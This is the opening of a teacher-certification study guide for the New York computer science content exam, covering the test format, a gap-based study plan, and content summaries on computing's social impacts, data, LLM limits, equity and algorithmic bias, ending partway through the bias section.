Preparing for the NYSTCE Computer Science CST

A guide for candidates in UB's CS Teacher Preparation Program

Chris Proctor

Version 1.0.0, November 2026

Contents

Part 1: Introduction **2**

Part 2: About the test **3**
Official resources . . . 3
Format . . . 3
The written response . . . 4

Part 3: Study plan **5**
How the test differs from our program . . . 5
What to study . . . 6
Test-taking tips . . . 8
Study priorities . . . 8

Part 4: Content summary **10**
0001 Impacts of computing . . . 10
0002 Computational thinking and programming . . . 35
0003 Networks, the Internet, and system design . . . 101
0004 Cybersecurity . . . 132
0005 Pedagogical content knowledge . . . 158

Part 5: Practice questions **179**
0001 Impacts of computing . . . 179
0002 Computational thinking and programming . . . 300
0003 Networks, the Internet, and system design . . . 674
0004 Cybersecurity . . . 790
0005 Pedagogical content knowledge . . . 886

Part 6: Answers and explanations **950**
0001 Impacts of computing . . . 950
0002 Computational thinking and programming . . . 975
0003 Networks, the Internet, and system design . . . 1024
0004 Cybersecurity . . . 1048
0005 Pedagogical content knowledge . . . 1067

Part 1: Introduction

This guide is for teachers preparing for the New York State Teacher Certification Examinations (NYSTCE) Computer Science Content Specialty Test (CST), Field 194. It was written with one group in mind: teachers completing the University at Buffalo's advanced certificate in computer science education. Others are welcome to use it, but Part 3 assumes our courses.

The CST asks you to recognize a broad body of knowledge and to read code in a typed pseudocode that you will probably not have used. UB's Computer Science teacher preparation programs and the CST are both based on New York's Computer Science and Digital Fluency (CS&DF) Learning Standards, but their priorities are different: UB's courses emphasize pedagogical content knowledge, introducing content while also modeling how it can be taught in primary and secondary contexts. As part of this pedagogical modeling, we prioritize collaborative inquiry and personally-meaningful, open-ended projects over content coverage. This guide is designed to fill in the gaps for the purpose of passing the CST.

The guide has six parts. Part 2 describes the test, its official resources, its format, and its written response. Part 3 is a study plan for graduates of our program, comparing what our courses taught with what the test expects. Part 4 is a content summary, a reading on the knowledge the test covers, written for someone meeting much of it for the first time. Part 5 has practice questions for every section of the content summary, and Part 6 has their answers with explanations.

This guide was written by Chris Proctor for candidates in UB's program. It is not affiliated with, reviewed by, or endorsed by the New York State Education Department (NYSED) or Pearson, which administers the NYSTCE. Official information about the test, including its framework and reference sheet, comes from NYSED and the NYSTCE website, and where this guide and those sources disagree, follow the official advice. The practice items that accompany this guide were written by Chris Proctor. They are not official test items, and do not contain any copyrighted or confidential testing information.

Part 2: About the test

Official resources

Everything publicly released about the test is collected on the NYSTCE preparation materials page for Computer Science (194):

- **The test framework** (Test Design and Framework, July 2022). This is the most useful single document. It lists the five competencies and every performance indicator the test is built to measure, along with the test's format, timing, and scoring. Part 4 of this guide follows its structure, and the codes used throughout this guide, such as `0003.h`, are the framework's.
- **The content correlation table**, which relates the framework to New York's learning standards.
- **A study guide** in three parts: an introduction, sample selected-response questions, and sample constructed-response items. The samples are the best free view of what questions look like.
- **The Pseudo Code Reference Sheet**, listed among the test's features (four pages, dated April 2025). It defines the typed pseudocode in which every programming question is written, with its types, operators, arrays, maps, and control structures. Read it closely. Its differences from Python are explained in From Python to typed pseudocode, at the start of the computational thinking and programming section of Part 4.
- **A full-length practice test**, interactive, with feedback on your performance, for a fee ($14 at the time of writing). It is the closest thing to the real test, so it is worth saving until you have studied, to use as a check on your readiness.
- **Information about taking the test**: testing tutorials and demonstrations of the testing software, a tour of Pearson testing centers, and two documents on score reports, how to read your score report and understanding candidate score reports.

The rest of this part summarizes what these documents say about the test's format and its written response.

Format

The test has 90 selected-response items and one written response, with 195 minutes in total. The framework publishes the approximate number of items and share of the score for each competency:

Competency	Items	Share of score
0001 Impacts of Computing	21	19%
0002 Computational Thinking and Programming	27	23%
0003 Networks, the Internet, and System Design	21	19%
0004 Cybersecurity	21	19%

Competency	Items	Share of score
0005 Pedagogical Content Knowledge (written response)	1	20%

The framework estimates up to 135 minutes for the selected-response items, or about 90 seconds each, and up to 60 minutes for the written response.

The passing score is a scaled score of 520. NYSTCE does not publish how raw scores are converted to scaled scores, so this does not tell you how many questions you need to answer correctly to pass.

The written response

The exam's written task tests the kind of planning our program values, but in a fixed format. According to the framework, it is scenario-based and asks you to describe an instructional strategy for a specific learning goal, assess student understanding, and identify students' strengths and needs. Its indicators (`0005.a`–`0005.g`) suggest that a strong response should:

1. Identify the skills and understanding students need to reach the goal.
2. Explain how you would assess their readiness.
3. Connect the goal to students' prior learning and experiences in a culturally relevant way.
4. Describe a research-based strategy or activity, including appropriate CS tools, resources and examples.
5. Explain clearly how the strategy supports the goal.
6. Describe how assessment results would inform your next instructional decisions.
7. Address the diverse assets and needs of all learners and an inclusive learning environment.

Address each of these explicitly. Your stance from LAI 605 can inform the lesson, but it can't replace any of them. Be ready for any grade band: the certificate covers all grades, while Making With Code is designed for high school. LAI 516's scope and sequence week is useful here, as is reviewing the CS&DF standards below grade 9.

Part 3: Study plan

This section assumes you have not taken any computer science coursework beyond what UB's CS teacher preparation program. It summarizes what our programs emphasize, compares that with what the test expects, and rates the gap for each part of the test. It ends with study priorities. Work through the content summary in Part 4 alongside it, using the gap ratings to decide where to slow down.

How the test differs from our program

UB's computer science teacher preparation programs aim to prepare teachers who are effective with all of their students, supporting their intellectual growth, their future opportunities, and their ability to use computing toward goals of their own, and who help redesign K-12 computer science to reflect the communities it serves. The program's learning goals span four areas: content knowledge of computing, organized around the CS&DF concepts; pedagogical knowledge; pedagogical content knowledge, such as teaching with computational media and supporting learner identities; and leadership, including equity and interdisciplinary connections. The program handbooks describe these goals and the structure of the programs in full. The courses most relevant here are Making With Code I and II (LAI 676 and LAI 677), which teach programming, data, networking, information, and AI through projects in Python; LAI 605, Critical Computational Literacies, which asks how and why computing should enter K-12 education; and LAI 516, Infrastructure for K12 Computing Education, which studies standards, curricula, and computational media. Across these courses, the programs value depth over coverage, making over recognizing, and critique over compliance. Those are deliberate choices, and they shape the differences below.

Breadth over depth. Our courses go deep on a few ideas through extended projects. The exam spreads across many topics at a recognition level, and you will rarely reason from first principles in 90 seconds.

Code comprehension, not programming. Our courses build fluency mainly by writing and running code, with the computer giving you feedback, and the labs include some guided code tracing, though not a lot. The exam never asks you to write or run code. Most of competency 0002 asks you to read unfamiliar typed pseudocode and trace it by hand: predicting output, finding a bug, or choosing the code that completes a program. Strong programmers can still lose points here. Build on the tracing you did in the labs by practicing it on your own, without guidance or a computer to check your work.

Networks and security carry much more weight. These two competencies make up 42 of the 90 selected-response items. In our sequence, they get two of the units in MWC2.

AI and data science carry much less weight. AI fills a full MWC2 unit and part of LAI 605, but it is a very small share of the practice test. Data science fills a full MWC1 unit, but the practice test doesn't ask about visualization or regression, although indicators `0002.b` and `0002.c` cover data collection and analysis tools.

Impacts means something different. In LAI 605, the impacts of computing raise questions of power, race and identity. Bias appears on the exam, but most of competency 0001 is practical professional knowledge: laws and policies, accessibility features, licensing and open source, business models and careers.

"Best" answers accept the question's premises. Many items ask for the best action within an institution as it exists, such as which step a district should take under its current policies. You may reasonably want to challenge the premise, and our courses encourage that. On this exam, choose the best option among those offered, and save the critique for your teaching.

What to study

The tables below estimate gaps between the test framework's content what our courses teach: **none** means our courses cover it, **low** means you know the ideas but may need the test's vocabulary or notation, **medium** means our courses touch it only in part, and **high** means it is new. Each competency and indicator links to its section of the content summary in Part 4.

0001 Impacts of computing

Indicator	Gap
0001.a Computing in classrooms, homes, and communities	Medium
0001.b Impacts on individuals and society	Medium
0001.c Equity, access, and trade-offs	Low
0001.d Decision systems, bias, and inclusion	Low
0001.e Accessibility and usability	High
0001.f Laws, licenses, and policies	High
0001.g Ethics	Low
0001.h Safe and responsible use	Medium
0001.i Careers and habits of mind	Medium

0002 Computational thinking and programming

Indicator	Gap
0002.a Models and simulations	None
0002.b Data collection	Low
0002.c Tools for data	Medium

Indicator	Gap
0002.d Decomposition and functions	None
0002.e Abstraction	Low
0002.f Algorithms: control structures and patterns	Low
0002.g Paradigms	Medium
0002.h Data types and data structures	High
0002.i Representing algorithms	Medium
0002.j Expressions and operators	Low
0002.k Analyzing algorithms	High
0002.l Object-oriented concepts	Medium
0002.m Iterative design	Low
0002.n Errors, testing, and debugging	Low
0002.o Performance, readability, and documentation	Low
0002.p Tools and collaboration	Medium

0003 Networks, the Internet, and system design

Indicator	Gap
0003.a Input, output, and interfaces	Medium
0003.b Hardware, software, and how they interact	High
0003.c Troubleshooting	Medium
0003.d Network components and topologies	High
0003.e Internet protocols	Medium
0003.f Data storage	High
0003.g Factors affecting networks	High
0003.h Number systems	Medium

0004 Cybersecurity

Indicator	Gap
0004.a Assets and attacks	High
0004.b Safeguards	High
0004.c Security trade-offs	Medium
0004.d Cryptography	Medium
0004.e Software vulnerabilities	High
0004.f Preventing and responding to breaches	High

0005 Pedagogical content knowledge

Indicator	Gap
0005.a Learning goals	Low
0005.b Student readiness	Low
0005.c Culturally relevant connections	None
0005.d Instructional strategies	Low
0005.e Explaining how a strategy works	Low
0005.f Assessment	Low
0005.g Inclusion and equity	None

Test-taking tips

- **Answer every question.** There is no penalty for a wrong answer, so a blank can only cost you. If time is running out, go back to every unanswered question and choose an answer, even a guess.
- **Manage your time.** A difficult question is rarely worth a long struggle. Make your best guess and move on, and keep a list of questions to return to if time allows.
- **Manage your emotions.** The test doesn't measure how smart you are or whether you are a good teacher. Think back to how you have felt in earlier testing situations, and plan how you will stay calm during this one.
- **Find out what a question is asking before reading its details.** Skim the question first, then read its scenario or code closely. If a question asks about an error on line 08, for example, you want to know that before you start reading the code.
- **Look for patterns in the options.** Often the four options are the combinations of two factors, such as what a problem is and what causes it. If you know the answer to just one factor, you can rule out two options and double your odds.
- **On the written response, think like a scorer.** Know exactly what the scorers are looking for, which the framework's indicators for competency 0005 describe, and organize your response so that each element is easy to find. The lesson is hypothetical, and you aren't scored on how realistic it is, so invent details about your students or school whenever they help.

Study priorities

1. **Learn to read the test's pseudocode,** using the reference sheet and From Python to typed pseudocode in Part 4. Competency 0002 is the largest, and it mostly tests code comprehension, so practice tracing code by hand as well.
2. **Study the sections with high gaps** between the test framework and what our courses teach (see the tables above). If you have additional CS background knowledge, evaluate which sections you most need to study.
3. **Practice with the included questions.** Use the practice questions in Part 5 to check your understanding of each section of the content summary as you study it. There are five for each topic, with answers and explanations.

4. **Practice the written response** using the framework's indicators and the official sample constructed-response item, in 60 minutes or less, at a grade band you don't usually teach.
5. **Take the official practice test** once you have studied, as a check on your readiness under timed conditions. Its feedback shows which competencies still need work.

Part 4: Content summary

This part is a reading on the content knowledge a K-12 computer science teacher needs, written for someone meeting much of it for the first time. Its scope comes from two documents. The Field 194 test framework lists the competencies and performance indicators that define what a computer science teacher is expected to know, and this summary covers every one of them. The framework in turn draws on New York's Computer Science and Digital Fluency (CS&DF) Learning Standards, which describe what K-12 students should learn, and which are worth reading alongside this part for a sense of how each idea appears at different grade levels. The summary is organized in five sections, one for each competency described in Part 2: the impacts of computing, computational thinking and programming, networks and system design, cybersecurity, and pedagogical content knowledge. Each competency opens with an overview of how its parts fit together, and each part begins by laying out the structure of its topic before working through it. Key terms are explained in the text where they first matter, then collected in a short list at the end of the part, so the lists also work as a reference when you come back later. The section on programming begins with a bridge from the Python you learned in our courses to the typed pseudocode used in much writing about algorithms.

Use this part to fill gaps. Skim what you already know, and slow down where an idea is new or where you can follow the words but could not explain them to a student. Headings carry the competency and indicator codes from Part 2, so you can move between the two. Footnotes point to the places in our courses where you first met an idea.

0001 Impacts of computing

Computing affects people through the settings it enters, the institutions that adopt it, the rules that govern it, and the choices of the people who build and use it, and this part takes those up in an order where each section prepares the next. It begins descriptively: 0001.a follows computing through widening settings, from a classroom to a whole society, and 0001.b asks what those technologies change for individuals, institutions, and societies, and how society shapes them in return. The next sections ask who is served well and who is not. Section 0001.c weighs who gains and who pays, 0001.d looks at what happens when computer systems help make decisions about people, and 0001.e turns to the specific design features that let people with disabilities use a product at all. Those concerns lead to the question of how a society responds, first through binding rules in 0001.f (laws, licenses, and policies, along with the technical and human measures that carry them out) and then through ethics in 0001.g, which takes up what the rules leave unsettled. The last two sections come down to individual people: 0001.h covers the habits that keep someone safe and responsible as a user, and 0001.i describes the people who work in computing, what they do, and how they got

there, which is knowledge your students will ask you for.

0001.a Computing in classrooms, homes, and communities

One way to survey what computing does is to follow it through widening circles: a classroom, the school that runs the classroom, the homes students go back to, the community around them, and finally the broader society. The tools change from circle to circle, but a pattern recurs. Each does something that used to be difficult, and each has a limit that its appearance can hide, so the person using it has to understand what it actually does before relying on it.

In the classroom

Many classes now run partly on a learning management system (LMS), a platform that distributes materials, collects work, and records activity. Because those records are kept student by student, its reports can show a teacher who needs support: missing work and quiz results are evidence of what a particular student has or hasn't done. Activity counts such as logins are a different kind of data. They measure use of the platform, not learning, so a student with few logins and strong work is no contradiction, and an administrator can't judge the quality of instruction from login totals. Opening a video shows access and nothing more about understanding. Treat these counts as a prompt to investigate, perhaps by asking the student what they took from the videos, rather than as evidence of understanding.

An LMS keeps track of what students do, while two other kinds of tools change what students encounter. Adaptive software changes content based on a learner's responses, choosing the next problem according to how the last one went. Assistive technology widens access to content: captions present a recorded lecture as text, and text-to-speech lets a student who comprehends better by ear hear a reading. So adaptive tools respond to performance, and assistive tools remove barriers. Both still depend on a teacher's judgment about whether they serve the learning goal, because software doesn't know your goals. An adaptive program can move a student smoothly through a sequence that has little to do with your course, which is why you review its data and ask whether the content it selects fits what you are teaching.

In the school

Classroom tools sit on top of systems that the school runs as an institution, and one of these, the network, shapes what a teacher can do on a given day. On a school-managed network, the IT department controls access. Its firewall (see 0003.d) applies rules that allow or block outside addresses as traffic crosses the network's boundary, and the staff who manage it maintain those lists. A teacher whose class can't reach a resource therefore asks IT or the network administrator, ahead of the lesson, rather than bypassing the filter. The diagnosis is often simple: if a site works at home on the same laptop but not at school, only the network has changed, so the school's filtering is the likely cause. The request needn't be all or nothing, since allowing specific approved sources can meet a teaching need while keeping a broader restriction in place.

Schools also gather a great deal of data, and data is only useful if it's right. Digital forms promote accuracy through validation, which means checking data types and ranges at entry, so that errors can be fixed immediately or set aside (isolated) for review. A field that accepts only whole numbers from 2 through 5 enforces a type and a range at once. Drop-down lists go further by restricting values to a fixed set, which keeps data consistent, so nobody has to reconcile "9th," "nine," and "Grade 9" later. Validation has limits, though, and they show what it is really doing. A format check can't detect a well-formed address that doesn't exist, while checking against reference data, such as a list of real addresses, can. Other improvements that are sometimes offered for this problem address something else: encryption, access controls, and faster databases protect or speed data, but they don't make it accurate.

Schools also need to talk with families, including multilingual families, and machine translation speeds that communication considerably. Its weakness is one that's hard to see: a translation can miss context and meaning while looking fluent, so a reader can't judge its quality from its polish. The sensible practice is to match review to the stakes, which depend on the consequences of an error. A quick reminder may need little review, and a bilingual volunteer can check routine notices, while emergency procedures or special education meetings need a fluent person or a qualified interpreter.

At home

Those messages arrive in homes that have computing of their own. Internet of Things (IoT) devices, such as smart thermostats and speakers, add sensing, remote control, and automation to everyday objects. A washing machine that notifies its owner when a cycle has finished is doing something only a network connection makes possible. These devices usually send data to a company's servers, including spoken requests and usage records, and this dependence has two consequences. That data can reveal routines, such as when a home is empty, so fine-grained energy use says more than the size of a bill. And many remote features stop working if the company shuts down its servers, even though the hardware itself remains intact.

All of this assumes a connection, which some homes don't have. Satellite service reaches remote areas where laying cable is impractical, and that reach is its main advantage. Where wired service exists, wired usually offers more speed and less latency (delay) for the price, so satellite makes the most sense when students need connectivity now and no wired option is available yet. The delay comes from distance. Geostationary satellites orbit far from Earth, and the long signal path up and back adds noticeable delay, so downloads work well, but interactive uses such as games and calls feel sluggish. Weather can also degrade the signal. Section 0003.g returns to latency and to low-Earth-orbit satellites.

In the community

Beyond the home, computing gives groups of residents ways to build evidence that used to require an institution. Public data portals publish government data that anyone can analyze and reuse, low-cost sensors can fill gaps in official monitoring, and mapping tools make the results easy to

share. Together they let communities gather and share evidence on air quality, transit, or housing for civic advocacy, for example by placing sensors near a busy road and mapping the readings, or by using a transit agency's published schedule data to compare how often buses serve different neighborhoods.[1] The evidence has to withstand challenge, though. Low-cost sensors can drift or read differently from official instruments, so calibrating them against a reference instrument makes the evidence more credible.

In the broader society

Two technologies from the widest circle show how much depends on knowing what a tool is suited to. A 3-D printer builds an object layer by layer from a digital model, a process called additive manufacturing. Because no mold is required, it suits custom parts, prototypes that can be revised cheaply, and small batches, such as a replacement for a discontinued part. Mass production favors injection molding, which has high setup cost but low cost per unit at scale, since the expense of the mold is spread over many copies, and printing is slower per object. Being able to print a model doesn't settle whether you may sell the result: printed models are still subject to their licenses, a topic 0001.f takes up.

The second technology is the large language model (LLM), which generates text by predicting likely next words from patterns in its training data. It doesn't retrieve verified facts, and much of how it behaves follows from that. It is most reliable on topics well represented in that data, such as a concept from introductory biology, and weakest on recent, niche, or private information. It can state errors confidently and invent details, including citations, because a plausible-looking reference fits the pattern whether or not the source exists. Confident wording therefore tells you nothing about accuracy, and asking the model whether it is right only produces more generated text, so check claims against independent sources.[2] Both technologies, like the others in this section, have effects that go beyond the person using them, and those wider effects are the subject of 0001.b.

- **learning management system (LMS)**: a platform that distributes materials, collects work, and records activity
- **adaptive software**: software that changes content based on a learner's responses
- **assistive technology**: tools that widen access to content, such as captions and text-to-speech
- **Internet of Things (IoT)**: everyday objects with added sensing, remote control, and automation over a network
- **firewall**: a system whose rules allow or block traffic crossing a network boundary
- **validation**: checking data types and ranges as data is entered
- **public data portal**: a site that publishes government data for anyone to analyze and reuse
- **geostationary satellite**: a satellite in a distant orbit, which adds noticeable latency
- **additive manufacturing**: building an object layer by layer from a digital model
- **large language model (LLM)**: a model that generates text by predicting likely next words from patterns in training data

[1] MWC1, Argument project: collecting and using data to make a claim.
[2] MWC2, Estimation: fitting models and overfitting.

Practice questions: 0001.a, page 179.

0001.b Impacts on individuals and society

The technologies surveyed in 0001.a have effects at three levels of scale. An individual meets them as a feed or a page of search results. Institutions, such as companies, hospitals, and employers, reorganize their work around them. Societies adopt them, regulate them, and change their habits in response. This section moves up through those levels, and business incentives connect them, because what a company earns money from shapes what an individual sees and how an institution operates. Influence also runs in both directions, since society shapes technology as well as the reverse, which is where the section ends.

What individuals see

Most people experience computing's influence through ranked lists, where software has decided what comes first. Recommendation systems are algorithms that rank content using signals such as clicks and watch time, which show what holds a user's attention and help predict what to show next. Optimizing for engagement can favor provocative content over accurate content, because provocation tends to hold attention whatever its accuracy, and sensational stories can crowd out better reporting. Ranking by past behavior can also narrow what users see. Since popularity isn't a measure of accuracy, a video's view count says little about whether it's true. The same mechanism does offer a person some control: changing what you follow and engage with changes what is ranked highly.

Search looks like a more neutral version of the same thing, since you asked the question, but it's ranked too. Search engines order results with proprietary algorithms and may include paid placements, marked "sponsored," which appear at least partly because a company paid. Search engine optimization (SEO) is changing a website to improve its rank, and companies keep ranking details secret partly to limit that kind of manipulation, changing their methods as well. Results differ across users because of location and history, so two students with the same query may not see the same page. For all of these reasons, a high rank doesn't prove reliability, and it makes sense to compare top results with what independent sources say.

What pays for it

These rankings make more sense once you know who is paying. Services that are free to users are mostly funded by advertising, often targeted using data about those users. The advertisers are the customers, and users' attention and data are what's sold, a situation often summarized by saying that the user is the product. This is why a free app may request data it doesn't need for its features, since additional data makes its advertising more valuable, and why a service may prefer whatever keeps people on it longest. A paid, ad-free tier replaces that revenue with direct payment, so the user pays with money rather than with attention and data.

Institutions and businesses often pay for software in a second common way. Software as a service

(SaaS) delivers applications over the Internet, usually by subscription, with the provider handling hosting and updates. The older alternative is **on-premise** software, installed and run on the customer's own computers and servers, so the customer handles hosting and updates and keeps working even if the vendor changes its terms. Providers gain recurring revenue and data about use. Customers gain easy access, but they depend on the provider's continued service and terms and hold no permanent copy, so they can lose access if payments stop or terms change, and a vendor's closure makes exporting data and finding a replacement urgent. Here the same pattern appears at the level of an organization: a school district that moves its records to a hosted tool has gained convenience and given up some control.

How institutions change

Dependence of this kind is sharpest where the stakes are highest, and health care shows both sides. Electronic health records let clinicians share information quickly across sites, so an emergency room can see allergies and medications recorded elsewhere. They also concentrate risk, because one breach or outage can affect many patients at once: a single system holds many identifiable, valuable records, and care itself comes to depend on that system staying up. Some of the risk comes from insiders, and role-based access (permissions limited to what a person's job requires) with reviewed logs deters staff from snooping. One change in how an institution stores information has thus brought new benefits, new vulnerabilities, and new kinds of oversight.

Institutions also change the work people do, and automation is the clearest case. It tends to replace specific tasks rather than whole occupations, shifting the mix of work within a job. It eliminates some jobs, changes others, and creates roles that need different skills, such as maintaining and monitoring robots. Its costs fall hardest on workers who can't get retraining for those new skills. Even when a tool produces the output, evaluating that output still takes skill, so people keep the work of judging and directing it.

Software can also take over the supervising. Algorithmic management is software that assigns work, sets pay, and evaluates workers, as on gig platforms, making decisions that workers may find hard to see, understand, or challenge. What sets it apart from a human manager is this opacity: a driver may not know why a shift went to someone else. Metrics also miss work they don't measure, such as training new staff, so human review and appeal matter. And because software control over pay and access can be extensive, it raises questions about how independent "independent" workers really are.

How societies respond

Health records concentrate trust in the institution that keeps them. A blockchain approaches record-keeping differently, spreading it among many participants, and so it raises questions at the level of a whole economy. A blockchain is a shared, append-only ledger, meaning that entries are added and not overwritten. Each block includes a hash of the previous block (hashes are described under 0004.b), so altering an old entry changes its hash, breaks the links to later blocks, and can be

detected. That property makes past transactions hard to alter, and it brings costs along with it. Many cryptocurrencies use substantial energy, especially under proof of work, a method of validating transactions in which computers compete at deliberately costly calculations. Payments generally can't be reversed, and consumer protections are limited, so someone who pays a scammer has little recourse. A ledger protects what was recorded, not whether it was true when recorded, which means incorrect data entered at the start is simply hard to correct.

A blockchain's trade-offs came from choices about how it should work, which is true of technology in general. Technologies aren't neutral or inevitable. The values, incentives, and regulations of the societies that build them shape design. Designers' priorities affect how well a system works for different groups, default settings reflect choices (autoplay turned on reflects an interest in engagement), and a data-storage law can force a redesign. Adoption then changes culture, often in ways designers never intended, as smartphones changed expectations about memory and response time.[3] Once you see technology as shaped by human choices, it becomes fair to ask whose interests those choices serve, and 0001.c takes up that question.

- **recommendation system**: an algorithm that ranks content using signals such as clicks and watch time
- **search engine optimization (SEO)**: changing a website to improve its rank in search results
- **on-premise software**: software installed and run on the customer's own computers and servers
- **software as a service (SaaS)**: applications delivered over the Internet, usually by subscription, with the provider handling hosting and updates
- **electronic health record**: a digital patient record that clinicians can share across sites
- **algorithmic management**: software that assigns work, sets pay, and evaluates workers
- **blockchain**: a shared, append-only ledger in which each block includes a hash of the previous block
- **proof of work**: a method of validating transactions through costly computation, which uses substantial energy

Practice questions: 0001.b, page 193.

0001.c Equity, access, and trade-offs

The central tension of this section is that computing's benefits and its costs often land on different people. It takes up that tension in four steps: who can get access at all, whose languages and knowledge are represented once they do, who bears the material costs of the whole system, and what individuals give up, sometimes without much choice, in exchange for the services they use. It ends by showing how a single technology can pull in both directions, which is the reason equity has to be evaluated and can't be assumed.

[3] LAI 516, Design of a UB-BPS high school: how values and institutions shape computing education.

Who has access

Access is easy to treat as one question, whether someone owns a device, but it works more like a stack of layers. The **digital divide** is the gap between those who have and those who lack devices, reliable connectivity, and the skills and support to use them, and it often follows income, geography, race, age, and disability. Thinking in layers explains why single-layer remedies disappoint. Handing out devices doesn't address skills. Availability doesn't equal adoption either, since price matters as well: service that reaches a street may still cost too much relative to a household's income. It also explains why moving services online without alternatives can exclude people, including those who are missing only one layer.

For teachers, these gaps surface most visibly in assignments that students take home. The **homework gap** describes students who can't complete Internet-dependent assignments at home, sometimes because a household shares one device or has limited data. A laptop doesn't provide connectivity, so a one-to-one device program can leave this gap open. Schools can respond with class time, loaned hotspots or devices, and offline alternatives, and a teacher who sees missing work should consider limited access before assuming low motivation. It helps to plan assignments that don't assume home access in the first place. Evaluate programs by changes in students' work, such as completion rates before and after borrowing a hotspot, and not by the number of devices bought.

Before a district or a state can respond at larger scale, someone has to measure the problem, and measurement can hide it. Maps that count an area as served if any one address can get service overstate coverage, which can hide unserved households from funding programs. Providers also report their own coverage and may have incentives that affect those reports, and advertised availability differs from delivered speed and affordability. Address-level data and speed tests, some of it collected from residents, give a truer picture.

Who is represented

Getting online doesn't guarantee finding much that's useful in your own language. Online content and language tools are concentrated in a few languages, so speakers of others find fewer resources and less accurate tools. The two problems are connected, because models learn from available text, so a language with little online content also gets weaker tools, and the knowledge of its speakers is less represented in both. The practical response for a teacher is to test tools in the languages your students actually use, and comparing search results and translation quality across languages can make a good classroom activity.

Who bears the material costs

Representation is one uneven distribution, and physical harm is another. "Paperless" services still rely on physical infrastructure, and each stage of that infrastructure has costs: mineral extraction, manufacturing, data center energy and water use, and electronic waste (e-waste), which is discarded devices that often contain hazardous materials. These costs are unevenly distributed, and harms often fall on communities that benefit least. People living near mines and informal e-waste

processing sites may face health harms without the protections available where the devices were sold, and a town hosting a data center may bear local water and energy costs for services used far beyond it.

What individuals trade away

The costs so far fall on people mostly without their involvement. A different kind of cost is the one people appear to accept themselves. Personalized services offer convenience and lower prices in exchange for data, at the cost of surveillance, profiling, and loss of control, costs that are often hard to see at the moment of agreeing. The exchange is also less voluntary than it looks. When refusal is costly, as with insurance discounts for those who share data from a tracker, the choice may not be fully free, especially for someone who can't afford the penalty. It helps to separate two things that get bundled together: data needed for a feature differs from data collected beyond that need. And the common reply of "nothing to hide" overlooks that data can be combined and reused in ways nobody can foresee, so a person can't judge the risk by looking only at today's use.

Schools make a version of this trade on students' behalf. Monitoring software on school devices supports safety and policy enforcement, but it reduces privacy, especially outside school hours and for students who rely on school devices, since those with personal devices can step outside it and others can't. A tool meant to protect students can also harm them: it can expose sensitive information and create a chilling effect, in which people avoid legitimate activity because they feel watched. Narrow scope, such as limiting monitoring to school hours, and clear notice to families improve the balance.

Why one technology can go both ways

Because of all these layers and trade-offs, it's rarely accurate to say that a technology is simply good or bad for equity. One technology can reduce and reinforce inequality at once. Online courses widen access yet favor those with connectivity and adult support at home, and telehealth helps rural patients with broadband and leaves out others. Equal availability isn't equal benefit, so the question to ask is who actually benefits. Evaluate equity by comparing participation and outcomes across groups, and direct added supports to those who lack them. That habit of comparing across groups is just as necessary when a computer system is making decisions about people, as 0001.d shows.

- **digital divide**: the gap between those who have and those who lack devices, reliable connectivity, and the skills to use them
- **homework gap**: the situation of students who can't complete Internet-dependent assignments at home
- **electronic waste (e-waste)**: discarded devices, which often contain hazardous materials
- **profiling**: building a picture of a person from collected data to predict or influence their behavior
- **chilling effect**: avoiding legitimate activity because of a feeling of being watched

Practice questions: 0001.c, page 206.

0001.d Decision systems, bias, and inclusion

Computer systems increasingly take part in decisions about people, and this section follows how those decisions can go wrong and what can be done about it. Its organizing idea is a three-part model of where bias enters a system: through its data, through its design, and through the way it is used. After establishing why the stakes are high, it takes each of those sources in turn, looks at two commercial examples in which several of them combine, and closes with the design practices that respond to them.

Why the stakes are high

Automated decision systems score or rank people in hiring, lending, benefits, and criminal justice. These are high-stakes settings, because being denied a job, a loan, or release can have lasting consequences, so errors cause serious harm. That is why such systems should allow human review, explanation, and challenge: an applicant who can't understand a decision also can't contest it. Overall performance can be reassuring in misleading ways, because high overall accuracy can hide large differences in error rates between groups. A system that is right 95 percent of the time may be wrong far more often for one group of applicants, so the useful question is whether its errors are evenly shared.

When errors are not evenly shared, the term that applies is **algorithmic bias**, a systematic pattern of errors or outcomes that unfairly disadvantages particular groups. Systematic is the important word, since occasional mistakes are expected in any system and a recurring pattern calls for investigation. Bias can arise from data, from design choices, or from use in a setting the system wasn't designed for. Algorithms reflect human choices about data and goals, so "it's just math" isn't a defense.[4]

Bias from data

Data is the most common place to look first, because a model can learn only from what it's shown. Models perform worse for groups underrepresented in training data, as when speech recognition trained on a narrow range of speakers struggles with others, and they reproduce discrimination recorded in historical data, as when a model trained on past hiring repeats a past preference. Collecting more data from the same source preserves the imbalance, because the problem lies in who the data includes and not in how much of it there is. Representative data reflects the people a system will serve, so investigate the training data when performance differs across groups.[5]

An imbalance in the data can also grow over time in response to the system itself. In a **feedback loop**, a system's output shapes its future training data. More patrols produce more recorded arrests in an area, which appear to justify more patrols. Students denied placement in an advanced course have less chance to produce evidence of readiness for it. In this way, a system's decisions can make

[4] MWC2, Classification: Features: train/test splits, evaluation, feature engineering, and data cleaning.
[5] MWC2, Estimation: fitting models and overfitting.

it look accurate, because it is partly generating the pattern that confirms it. Some exploration, such as showing less-viewed videos and measuring the response, adds data that its own choices wouldn't generate.

Bias from design

The second source lies in what builders decide to ask of the data, starting with what the system should predict. A well-known example is predicting medical need from past spending: if some patients have received less care, they have spent less, and the system mistakes unequal care for lesser need. The choice of a target, made before any model was trained, built that unfairness in.

The choice of input features matters too, and a common but inadequate fix shows why. Removing a sensitive column doesn't solve the problem, because of proxy variables. A **proxy variable** is a feature that stands in for a protected characteristic, as a postal code can stand in for race where housing is segregated. Deleting the characteristic therefore doesn't necessarily remove bias, because the same information is still present in a neutral-looking field. This is also why comparing outcomes across groups, such as selection rates, reveals the problem better than checking the inputs.

Bias in use

A system that was built well can still cause harm once it's in use, in two main ways. One is context: a system put to work in a setting it wasn't designed for may meet people and conditions that its builders never considered, and its results there can be unfair even if they were sound where it was developed. The other is how people respond to it. **Automation bias** is the tendency to accept a computer's output with too little scrutiny, even against other evidence. It's easy to fall into because computers do calculate correctly, but correct arithmetic doesn't ensure correct inputs or a correct model. A teacher handed a placement report should weigh it alongside what else they know about the student. Forming an independent judgment before seeing the output reduces this effect, since the output can't anchor a judgment that's already been recorded.

Two cases in which these combine

Hiring shows several of these sources operating at once. Applicant tracking systems collect and screen job applications, and they can help or hurt. Masking personally identifiable information, such as names and addresses, can reduce reviewer bias at early stages. On the other hand, exact keyword filters can screen out qualified people who describe a skill differently, and training on current employees can encode existing preferences, since the model comes to favor backgrounds like those already there. When a feature turns out to be unrelated to ability and to affect some groups more than others, the appropriate response is to stop relying on it and review its effects on applicants.

